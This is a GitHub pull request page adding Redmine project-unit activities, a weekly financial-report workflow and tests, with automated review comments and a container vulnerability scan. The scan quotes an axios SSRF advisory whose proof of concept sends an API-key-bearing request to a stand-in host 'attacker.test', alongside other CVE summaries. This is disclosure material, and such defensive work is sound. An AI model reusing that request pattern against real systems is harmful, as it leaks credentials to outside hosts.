Skip to content

Conversation

@anatolyshipitz
Copy link
Collaborator

feat(tests): add unit tests for Redmine activities and weekly financial reports

  • Introduced unit tests for the getProjectUnits function in redmine.test.ts, ensuring it returns project units correctly and handles errors gracefully.
  • Enhanced weeklyFinancialReports.test.ts with mocked activities to validate the report generation, including project units and financial data.
  • Created new activity files for getProjectUnits and fetchFinancialData, establishing a clear structure for financial report generation.
  • Added type definitions for ProjectUnit and FinancialData to improve type safety and clarity in the codebase.

These changes enhance test coverage and reliability of the Redmine integration and financial reporting functionalities.

This commit removes the unused `workflowsPath` field from the worker configuration, simplifying the setup. Additionally, it introduces an environment validation utility to verify required environment variables, improving runtime robustness. Finally, updates to dependencies and `package-lock.json` reflect added packages like `uuid` and `dotenv` for functionality and testing.
This commit updates the variable name from `message` to `errorMessage` in the `validateEnv` function within the `utils.ts` file. This change improves clarity and consistency in error logging for missing or invalid environment variables, ensuring that the correct variable is referenced when logging errors. The overall functionality of the environment validation remains unchanged.
…al reports

- Introduced unit tests for the `getProjectUnits` function in `redmine.test.ts`, ensuring it returns project units correctly and handles errors gracefully.
- Enhanced `weeklyFinancialReports.test.ts` with mocked activities to validate the report generation, including project units and financial data.
- Created new activity files for `getProjectUnits` and `fetchFinancialData`, establishing a clear structure for financial report generation.
- Added type definitions for `ProjectUnit` and `FinancialData` to improve type safety and clarity in the codebase.

These changes enhance test coverage and reliability of the Redmine integration and financial reporting functionalities.
@anatolyshipitz anatolyshipitz requested a review from killev as a code owner May 28, 2025 12:47
@coderabbitai
Copy link

coderabbitai bot commented May 28, 2025

📝 Walkthrough

Walkthrough

This set of changes introduces a new financial reporting workflow and supporting infrastructure, including repositories, services, activities, and tests for project unit aggregation from Redmine data. It removes legacy workflow and utility code, updates exports, and refactors error handling. Environment variable handling and documentation are clarified, and test coverage is expanded and refactored.

Changes

File(s) / Path(s) Change Summary
workers/common/utils.ts, workers/main/src/tests/weeklyFinancialReports.test.ts, workers/main/src/activities/fetchFinancialData.ts, workers/main/src/workflows/weeklyFinancialReports/index.ts Deleted legacy utility, test, activity, and workflow files related to the old financial reporting approach.
workers/main/src/activities/index.ts, workers/main/src/activities/weeklyFinancialReports/index.ts, workers/main/src/activities/financial/index.ts, workers/main/src/workflows/financial/index.ts Updated or added index files to re-export new activity and workflow modules.
workers/main/src/activities/weeklyFinancialReports/redmine.ts, workers/main/src/activities/weeklyFinancialReports/redmine.test.ts, workers/main/src/activities/weeklyFinancialReports/mocks/redmine.ts Added Redmine service, test, and mock utilities for project unit aggregation.
workers/main/src/activities/financial/factory.ts, workers/main/src/activities/financial/factory.test.ts Added factory functions and tests for financial report services and repositories.
workers/main/src/activities/financial/getProjectUnits.activity.ts, workers/main/src/activities/financial/getProjectUnits.activity.test.ts Added new activity and tests for retrieving project units for financial reporting.
workers/main/src/common/types.ts, workers/main/src/repositories/financial/IProjectUnitRepository.ts, workers/main/src/repositories/financial/ProjectUnitRepository.ts, workers/main/src/repositories/financial/ProjectUnitRepository.test.ts Introduced ProjectUnit type, repository interface, implementation, and tests for financial data.
workers/main/src/common/RedminePool.ts, workers/main/src/common/RedminePool.test.ts Added RedminePool class for MySQL connection management and its tests.
workers/main/src/services/financial/FinancialReportService.ts, workers/main/src/services/financial/FinancialReportService.test.ts Introduced financial report service and corresponding tests.
workers/main/src/services/redmine/IRedmineRepository.ts, workers/main/src/services/redmine/RedmineRepository.ts, workers/main/src/services/redmine/RedmineRepository.test.ts Added Redmine repository interface, implementation, and tests for project unit queries.
workers/main/src/services/redmine/RedmineService.ts Added RedmineService class for higher-level Redmine operations.
workers/main/src/workflows/financial/FinancialReportFormatter.ts, workers/main/src/workflows/financial/weeklyFinancialReports.workflow.ts, workers/main/src/workflows/financial/weeklyFinancialReports.workflow.test.ts, workers/main/src/workflows/financial/index.test.ts Added new workflow implementation, formatting, and comprehensive tests for weekly financial reports.
workers/main/src/workflows/index.ts Changed export to only expose the new financial workflow.
workers/main/src/index.ts, workers/main/src/index.test.ts Refactored error handling to use direct logger calls; updated tests accordingly.
workers/main/src/common/utils.test.ts Added tests for environment validation utility.
workers/main/package.json Added build script, updated linting dependencies.
workers/main/vitest.config.ts, sonar-project.properties Updated test and coverage patterns and exclusions.
docker-compose.yml, README.md Clarified and enforced .env usage for service startup.

Sequence Diagram(s)

sequenceDiagram
    participant Workflow as weeklyFinancialReportsWorkflow
    participant Activities as getProjectUnits (activity)
    participant Service as FinancialReportService
    participant Repo as ProjectUnitRepository
    participant DB as RedminePool/MySQL

    Workflow->>Activities: getProjectUnits()
    Activities->>Service: getWeeklyReport()
    Service->>Repo: getProjectUnits()
    Repo->>DB: execute SQL query
    DB-->>Repo: project unit rows
    Repo-->>Service: project unit array
    Service-->>Activities: project unit array
    Activities-->>Workflow: project unit array
    Workflow->>Workflow: formatFinancialReport(units)
    Workflow-->>Workflow: formatted report string
Loading

Possibly related PRs

  • speedandfunction/automatization#30: Removes utility functions related to environment validation and error logging that were originally introduced in this PR; the current changes directly undo or remove code from this PR.
  • speedandfunction/automatization#33: Both PRs modify environment validation logic, with this PR removing validateEnv and the referenced PR adding it, indicating a related focus on environment validation and configuration.

Suggested reviewers

  • killev
✨ Finishing Touches
  • 📝 Generate Docstrings

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share
🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Create a ticket on our support page for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate docstrings to generate docstrings for this PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@github-actions
Copy link

github-actions bot commented May 28, 2025

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest
digestsha256:90b02f3f89b5a3b555e75638fd1f89926088064efb2eb7d1227d391210191d68
vulnerabilitiescritical: 2 high: 5 medium: 0 low: 0
platformlinux/amd64
size243 MB
packages1628
📦 Base Image node:20-alpine
also known as
  • 20-alpine3.21
  • 20.19-alpine
  • 20.19-alpine3.21
  • 20.19.0-alpine
  • 20.19.0-alpine3.21
  • iron-alpine
  • iron-alpine3.21
digestsha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilitiescritical: 0 high: 1 medium: 0 low: 0
critical: 1 high: 0 medium: 0 low: 0 samlify 2.9.0 (npm)

pkg:npm/[email protected]

critical 9.9: CVE--2025--47949 Improper Verification of Cryptographic Signature

Affected range<2.10.0
Fixed version2.10.0
CVSS Score9.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.023%
EPSS Percentile5th percentile
Description

A Signature Wrapping attack has been found in samlify <v2.10.0, allowing an attacker to forge a SAML Response to authenticate as any user.
An attacker would need a signed XML document by the identity provider.

critical: 1 high: 0 medium: 0 low: 0 stdlib 1.24.0 (golang)

pkg:golang/[email protected]

critical : CVE--2025--22871

Affected range>=1.24.0-0
<1.24.2
Fixed version1.24.2
EPSS Score0.018%
EPSS Percentile3rd percentile
Description

The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

critical: 0 high: 1 medium: 0 low: 0 axios 1.7.4 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2025--27152 Server-Side Request Forgery (SSRF)

Affected range>=1.0.0
<1.8.2
Fixed version1.8.2
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.021%
EPSS Percentile4th percentile
Description

Summary

A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery).
Reference: axios/axios#6463

A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios.

Details

Consider the following code snippet:

import axios from "axios";

const internalAPIClient = axios.create({
  baseURL: "http://example.test/api/v1/users/",
  headers: {
    "X-API-KEY": "1234567890",
  },
});

// const userId = "123";
const userId = "http://attacker.test/";

await internalAPIClient.get(userId); // SSRF

In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers.

It is recommended that:

  • When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL.
  • Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL.

PoC

Follow the steps below to reproduce the issue:

  1. Set up two simple HTTP servers:
mkdir /tmp/server1 /tmp/server2
echo "this is server1" > /tmp/server1/index.html 
echo "this is server2" > /tmp/server2/index.html
python -m http.server -d /tmp/server1 10001 &
python -m http.server -d /tmp/server2 10002 &
  1. Create a script (e.g., main.js):
import axios from "axios";
const client = axios.create({ baseURL: "http://localhost:10001/" });
const response = await client.get("http://localhost:10002/");
console.log(response.data);
  1. Run the script:
$ node main.js
this is server2

Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/.

Impact

  • Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed.
  • SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running.
  • Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.
critical: 0 high: 1 medium: 0 low: 0 semver 5.3.0 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2022--25883 Inefficient Regular Expression Complexity

Affected range<5.7.2
Fixed version5.7.2
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.317%
EPSS Percentile54th percentile
Description

Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

critical: 0 high: 1 medium: 0 low: 0 cross-spawn 7.0.3 (npm)

pkg:npm/[email protected]

high 7.7: CVE--2024--21538 Inefficient Regular Expression Complexity

Affected range>=7.0.0
<7.0.5
Fixed version7.0.5
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.132%
EPSS Percentile34th percentile
Description

Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

critical: 0 high: 1 medium: 0 low: 0 multer 1.4.5-lts.2 (npm)

pkg:npm/[email protected]

high 7.5: CVE--2025--47935 Missing Release of Memory after Effective Lifetime

Affected range<2.0.0
Fixed version2.0.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.049%
EPSS Percentile15th percentile
Description

Impact

Multer <2.0.0 is vulnerable to a resource exhaustion and memory leak issue due to improper stream handling. When the HTTP request stream emits an error, the internal busboy stream is not closed, violating Node.js stream safety guidance.

This leads to unclosed streams accumulating over time, consuming memory and file descriptors. Under sustained or repeated failure conditions, this can result in denial of service, requiring manual server restarts to recover. All users of Multer handling file uploads are potentially impacted.

Patches

Users should upgrade to 2.0.0

Workarounds

None

References

critical: 0 high: 1 medium: 0 low: 0 pdfjs-dist 2.16.105 (npm)

pkg:npm/[email protected]

high 8.8: CVE--2024--4367 Improper Check for Unusual or Exceptional Conditions

Affected range<=4.1.392
Fixed version4.2.67
CVSS Score8.8
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score13.314%
EPSS Percentile94th percentile
Description

Impact

If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain.

Patches

The patch removes the use of eval:
mozilla/pdf.js#18015

Workarounds

Set the option isEvalSupported to false.

References

https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

- Introduced unit tests for the `fetchFinancialData` function in `redmine.test.ts`, validating its behavior for both default and custom periods.
- Ensured that the function returns the expected mock data, enhancing test coverage for financial reporting functionalities.

These changes improve the reliability of the Redmine integration tests.
- Adjusted the import order in `redmine.test.ts` to ensure consistency and clarity.
- Added spacing in test cases for improved readability.

These changes enhance the organization and maintainability of the test file.
@anatolyshipitz anatolyshipitz self-assigned this May 28, 2025
- Deleted the `utils.ts` file as its functions are no longer utilized in the codebase.
- Updated the `index.ts` file to directly implement error logging within the `handleRunError` function, enhancing clarity and reducing dependencies.
- Adjusted the Vitest configuration to include all test files in the `src` directory for improved test coverage.

These changes simplify the code structure and improve error handling consistency across the application.
…tency

- Removed the unused `utils.ts` import from `index.test.ts` to simplify the code structure.
- Ensured consistent error logging format in the `handleRunError` function.

These changes enhance the clarity and maintainability of the test file.
- Deleted the `fetchFinancialData.ts` file, which contained the `FinancialData` interface and the associated function for fetching financial data. This change simplifies the codebase by removing unused code that is no longer needed.

This update enhances maintainability by eliminating obsolete components related to financial data fetching.
- Introduced a new workflow for generating weekly financial reports, utilizing mocked activities for testing.
- Created unit tests for the `weeklyFinancialReportsWorkflow` and `generateReport` functions to ensure correct report generation and formatting.
- Updated the Vitest configuration to exclude specific files from coverage, enhancing test accuracy.

These changes improve the functionality and test coverage of the financial reporting features.
Base automatically changed from feature/64207_redmine_config to main May 29, 2025 06:57
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 5

🧹 Nitpick comments (6)
workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (1)

15-21: Enhance test coverage by verifying data consistency.

The second test case only checks the period field but doesn't verify that other financial data fields remain consistent. This could miss potential bugs where the period parameter affects other fields unexpectedly.

Consider expanding the assertions to verify key financial data fields:

  it('returns expected mock data for custom period', async () => {
    const data = await fetchFinancialData('previous');

    expect(data).toBeDefined();
    expect(data.period).toBe('previous');
+   expect(data.contractType).toBe('T&M');
+   expect(data.revenue).toBe(120000);
+   expect(data.cogs).toBe(80000);
+   expect(data.margin).toBe(40000);
  });
workers/main/src/common/utils.test.ts (2)

3-5: Fix the mock path to ensure proper module mocking.

The mock path '../common/../configs' is unnecessarily complex and could be simplified to '../configs' for better readability and maintainability.

-vi.mock('../common/../configs', () => ({
+vi.mock('../configs', () => ({
  validationResult: { success: true },
}));

24-26: Improve the process.exit mock implementation.

The current implementation throws an error instead of preventing the actual exit. While this works for testing, it's better to use a more explicit mock that doesn't rely on throwing errors.

-    exitSpy = vi.spyOn(process, 'exit').mockImplementation(() => {
-      throw new Error('exit');
-    }) as unknown as ReturnType<typeof vi.spyOn>;
+    exitSpy = vi.spyOn(process, 'exit').mockImplementation((() => {}) as any);

Then update the test assertion to check for the spy call rather than expecting a throw:

-    expect(() => validateEnv()).toThrow('exit');
+    validateEnv();
workers/main/src/common/Redmine.ts (2)

4-9: Consider centralizing the ProjectUnit interface.

The ProjectUnit interface is duplicated in both this file and redmine.types.ts. Consider importing it from the types file to maintain a single source of truth.

-export interface ProjectUnit {
-  group_id: number;
-  group_name: string;
-  project_id: number;
-  project_name: string;
-}
+import type { ProjectUnit } from '../activities/weeklyFinancialReports/redmine.types';

56-60: Add resource cleanup method.

Consider adding a method to properly close the connection pool when the Redmine instance is no longer needed to prevent potential memory leaks.

+  async close(): Promise<void> {
+    if (this.pool) {
+      await this.pool.end();
+    }
+  }
+
   /** Expose the Pool Connection */
   get connection() {
     return this.pool;
   }
workers/main/src/activities/weeklyFinancialReports/redmine.ts (1)

11-25: Consider making mock data more realistic and configurable.

The hardcoded financial data might not be suitable for all testing scenarios. Consider making it more configurable or realistic, especially the marginality calculations which should be consistent with the revenue and margin values.

 export async function fetchFinancialData(
   period: string = 'current',
 ): Promise<FinancialData> {
+  // Calculate marginality to ensure consistency: margin / revenue * 100
+  const revenue = 120000;
+  const margin = 40000;
+  const marginality = Number(((margin / revenue) * 100).toFixed(1));
+  
+  const effectiveRevenue = 110000;
+  const effectiveMargin = 35000;
+  const effectiveMarginality = Number(((effectiveMargin / effectiveRevenue) * 100).toFixed(1));
+
   return {
-    period: period,
+    period,
     contractType: 'T&M',
-    revenue: 120000,
-    cogs: 80000,
-    margin: 40000,
-    marginality: 33.3,
-    effectiveRevenue: 110000,
-    effectiveMargin: 35000,
-    effectiveMarginality: 31.8,
+    revenue,
+    cogs: 80000,
+    margin,
+    marginality,
+    effectiveRevenue,
+    effectiveMargin,
+    effectiveMarginality,
   };
 }
📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 5a064ad and e36baac.

📒 Files selected for processing (17)
  • workers/common/utils.ts (0 hunks)
  • workers/main/src/__tests__/weeklyFinancialReports.test.ts (0 hunks)
  • workers/main/src/activities/fetchFinancialData.ts (0 hunks)
  • workers/main/src/activities/index.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.ts (1 hunks)
  • workers/main/src/activities/weeklyFinancialReports/redmine.types.ts (1 hunks)
  • workers/main/src/common/Redmine.test.ts (1 hunks)
  • workers/main/src/common/Redmine.ts (1 hunks)
  • workers/main/src/common/utils.test.ts (1 hunks)
  • workers/main/src/index.test.ts (2 hunks)
  • workers/main/src/index.ts (2 hunks)
  • workers/main/src/workflows/index.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/index.test.ts (1 hunks)
  • workers/main/src/workflows/weeklyFinancialReports/index.ts (1 hunks)
  • workers/main/vitest.config.ts (1 hunks)
💤 Files with no reviewable changes (3)
  • workers/main/src/tests/weeklyFinancialReports.test.ts
  • workers/main/src/activities/fetchFinancialData.ts
  • workers/common/utils.ts
🧰 Additional context used
🧬 Code Graph Analysis (8)
workers/main/src/activities/weeklyFinancialReports/redmine.test.ts (1)
workers/main/src/activities/weeklyFinancialReports/redmine.ts (1)
  • fetchFinancialData (11-25)
workers/main/src/index.test.ts (1)
workers/main/src/index.ts (2)
  • logger (7-7)
  • handleRunError (40-46)
workers/main/src/activities/weeklyFinancialReports/redmine.ts (3)
workers/main/src/common/Redmine.ts (3)
  • getProjectUnits (24-54)
  • ProjectUnit (4-9)
  • Redmine (11-60)
workers/main/src/activities/weeklyFinancialReports/redmine.types.ts (2)
  • ProjectUnit (1-6)
  • FinancialData (8-18)
workers/main/src/configs/redmineDatabase.ts (1)
  • redmineDatabaseConfig (3-8)
workers/main/src/common/Redmine.ts (1)
workers/main/src/activities/weeklyFinancialReports/redmine.types.ts (1)
  • ProjectUnit (1-6)
workers/main/src/common/Redmine.test.ts (1)
workers/main/src/common/Redmine.ts (1)
  • Redmine (11-60)
workers/main/src/common/utils.test.ts (1)
workers/main/src/common/utils.ts (1)
  • validateEnv (3-15)
workers/main/src/activities/weeklyFinancialReports/redmine.types.ts (1)
workers/main/src/common/Redmine.ts (1)
  • ProjectUnit (4-9)
workers/main/src/workflows/weeklyFinancialReports/index.ts (3)
workers/main/src/activities/weeklyFinancialReports/redmine.types.ts (1)
  • FinancialData (8-18)
workers/main/src/activities/weeklyFinancialReports/redmine.ts (2)
  • getProjectUnits (5-9)
  • fetchFinancialData (11-25)
workers/main/src/common/Redmine.ts (1)
  • getProjectUnits (24-54)
⏰ Context from checks skipped due to timeout of 90000ms (2)
  • GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)
  • GitHub Check: Service Availability Check
🔇 Additional comments (18)
workers/main/src/index.test.ts (2)

4-4: LGTM: Import statement updated correctly

The import path change from '../index' to './index' is correct since both files are in the same directory. Adding logger to the imports aligns with the refactored error handling approach.


29-35: LGTM: Test updated to match refactored error handling

The test correctly adapts to the new error handling approach:

  • Spies on logger.error instead of the removed utils.logWorkerError
  • Expects the formatted error message string that matches the implementation
  • Uses Error instance so error.message access in the implementation works correctly
workers/main/src/index.ts (2)

3-3: LGTM: Import path updated for local utilities

The import change from shared utilities to local ./common/utils aligns with the overall refactoring to remove dependencies on the shared workers/common/utils.ts module.


40-46: LGTM: Error handling refactored with improvements

The handleRunError function refactoring includes several good improvements:

  • Parameter renamed from err to error for better clarity
  • Direct use of logger.error instead of external utility function
  • Safe error message formatting that handles both Error instances and other types
  • Preserved original behavior (logging, scheduled exit, error throwing)
workers/main/src/activities/index.ts (1)

1-1: LGTM! Standard barrel export pattern.

This follows the conventional approach for organizing module exports in TypeScript projects, providing a clean entry point for the weekly financial reports activities.

workers/main/vitest.config.ts (2)

10-10: Good improvement: Moving to co-located test pattern.

The change from a centralized src/__tests__ directory to distributed src/**/*.test.ts files is a better practice that keeps tests closer to the code they're testing.


15-15: Updated exclusions align with new test structure.

Removing the old src/__tests__/** exclusion and adding specific config files is appropriate for the new test organization.

workers/main/src/activities/weeklyFinancialReports/index.ts (1)

1-2: Well-organized module structure.

The separation of implementation (redmine) and types (redmine.types) with clean re-exports follows TypeScript best practices for module organization.

workers/main/src/workflows/index.ts (1)

1-1: Excellent improvement: Using explicit named exports.

Changing from wildcard export to named export is a best practice that:

  • Makes the public API explicit and intentional
  • Prevents accidental exposure of internal implementation details
  • Improves IDE support and tree-shaking capabilities
workers/main/src/workflows/weeklyFinancialReports/index.test.ts (2)

55-88: Excellent integration test implementation.

This test demonstrates best practices for Temporal workflow testing:

  • Proper use of TestWorkflowEnvironment with time skipping
  • Activity mocking for isolated testing
  • Unique task queue and workflow IDs using UUIDs
  • Comprehensive assertions validating report content

The test effectively verifies the workflow integration without external dependencies.


91-106: Well-structured unit test for generateReport function.

The unit test properly isolates the generateReport function and verifies all key financial metrics are included in the formatted output. Good separation of concerns between integration and unit testing.

workers/main/src/activities/weeklyFinancialReports/redmine.types.ts (1)

8-18: Well-structured FinancialData interface.

The interface comprehensively covers all financial metrics needed for reporting, including both regular and effective values. The field names are clear and the types are appropriate.

workers/main/src/common/utils.test.ts (2)

34-39: LGTM - Good test coverage for success scenario.

The test correctly verifies that when validation succeeds, no errors are logged and the process doesn't exit.


41-57: LGTM - Comprehensive test for error scenario.

The test properly validates the error message formatting and ensures the process exits with the correct code. The test data covers both cases where path exists and where it's empty.

workers/main/src/common/Redmine.ts (2)

15-18: LGTM - Proper connection pool initialization.

The constructor correctly initializes the connection pool with the provided credentials.


24-54: LGTM - Well-implemented parameterized query with proper SQL injection protection.

The method correctly uses parameterized queries to prevent SQL injection and handles optional filtering appropriately. The query structure and parameter binding are properly implemented.

workers/main/src/workflows/weeklyFinancialReports/index.ts (2)

6-10: LGTM - Proper activity proxy configuration.

The activity proxy is correctly configured with an appropriate timeout for database operations.


26-38: LGTM - Well-structured workflow with proper error handling.

The workflow correctly orchestrates the activities and handles errors appropriately. The combination of financial data and project units in the final output provides comprehensive reporting.

- Added an `env_file` entry in `docker-compose.yml` to streamline environment variable management.
- Updated the Vitest configuration to exclude additional test files, enhancing test coverage accuracy.
- Refactored `Redmine.test.ts` to include a mock for `mysql2/promise` and reorganized test cases for better clarity and maintainability.

These changes improve the development environment setup and enhance the organization of test files.
…' into feature/64207_redmine_activities

# Conflicts:
#	workers/main/vitest.config.ts
- Changed the exclusion pattern from `**/src/__tests__/**` to `**/*.test.ts` to better target test files for exclusion in Sonar analysis.
- This update enhances the accuracy of code quality metrics by ensuring that only relevant files are included in the analysis.
Copy link

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 6

♻️ Duplicate comments (1)
workers/main/src/common/Redmine.test.ts (1)

35-83: Past review comment still applies to commented-out tests.

The previous review comment about improving test assertions for data structure verification is still relevant if these activity tests are activated.

The past feedback about enhancing assertions to verify returned data structure and content remains valid for the commented-out activity tests.

🧹 Nitpick comments (2)
sonar-project.properties (1)

4-4: Consider broadening test exclusion patterns
The current exclusion only matches *.test.ts files. If your codebase uses other conventions (e.g., *.spec.ts), they won’t be excluded and may surface in Sonar analysis.

- sonar.exclusions=**/*.test.ts,**/src/dist/**
+ sonar.exclusions=**/*.test.ts,**/*.spec.ts,**/src/dist/**
workers/main/src/common/Redmine.test.ts (1)

19-33: Remove unused mock data.

The mockProjectUnits variable is unused since the activity tests are commented out.

-// Mock data
-const mockProjectUnits = [
-  {
-    group_id: 1,
-    group_name: 'Engineering',
-    project_id: 101,
-    project_name: 'Project Alpha',
-  },
-  {
-    group_id: 2,
-    group_name: 'QA',
-    project_id: 102,
-    project_name: 'Project Beta',
-  },
-];
🧰 Tools
🪛 GitHub Actions: Code Quality

[warning] 20-20: ESLint: 'mockProjectUnits' is assigned a value but never used (@typescript-eslint/no-unused-vars)

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between e36baac and 931ac1e.

📒 Files selected for processing (4)
  • docker-compose.yml (1 hunks)
  • sonar-project.properties (1 hunks)
  • workers/main/src/common/Redmine.test.ts (1 hunks)
  • workers/main/vitest.config.ts (1 hunks)
🚧 Files skipped from review as they are similar to previous changes (1)
  • workers/main/vitest.config.ts
🧰 Additional context used
🧬 Code Graph Analysis (1)
workers/main/src/common/Redmine.test.ts (1)
workers/main/src/common/Redmine.ts (1)
  • Redmine (11-60)
🪛 GitHub Check: CodeQL
workers/main/src/common/Redmine.test.ts

[failure] 100-100: Hard-coded credentials
The hard-coded value "root" is used as user name.


[failure] 131-131: Hard-coded credentials
The hard-coded value "root" is used as user name.

🪛 GitHub Actions: Code Quality
workers/main/src/common/Redmine.test.ts

[error] 1-1: ESLint: Run autofix to sort these imports! (simple-import-sort/imports)


[warning] 2-2: ESLint: 'MockActivityEnvironment' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 3-3: ESLint: 'TestWorkflowEnvironment' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 5-5: ESLint: 'DefaultLogger' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 5-5: ESLint: 'LogEntry' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 5-5: ESLint: 'Runtime' is defined but never used (@typescript-eslint/no-unused-vars)


[error] 6-6: Prettier: Replace imports formatting to multiple lines (prettier/prettier)


[warning] 6-6: ESLint: 'afterAll' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 6-6: ESLint: 'beforeAll' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 6-6: ESLint: 'afterEach' is defined but never used (@typescript-eslint/no-unused-vars)


[error] 15-15: ESLint: Run autofix to sort these imports! (simple-import-sort/imports)


[warning] 16-16: ESLint: 'getProjectUnits' is defined but never used (@typescript-eslint/no-unused-vars)


[warning] 20-20: ESLint: 'mockProjectUnits' is assigned a value but never used (@typescript-eslint/no-unused-vars)


[error] 87-87: Prettier: Replace object properties formatting to multiple lines (prettier/prettier)


[error] 88-88: Prettier: Replace 'typeof vi.fn' formatting to multiple lines (prettier/prettier)


[error] 89-89: ESLint: Expected blank line before this statement (padding-line-between-statements)


[error] 90-90: ESLint: Unexpected any. Specify a different type (@typescript-eslint/no-explicit-any)


[error] 93-93: ESLint: Expected blank line before this statement (padding-line-between-statements)


[error] 93-93: ESLint: Unexpected any. Specify a different type (@typescript-eslint/no-explicit-any)


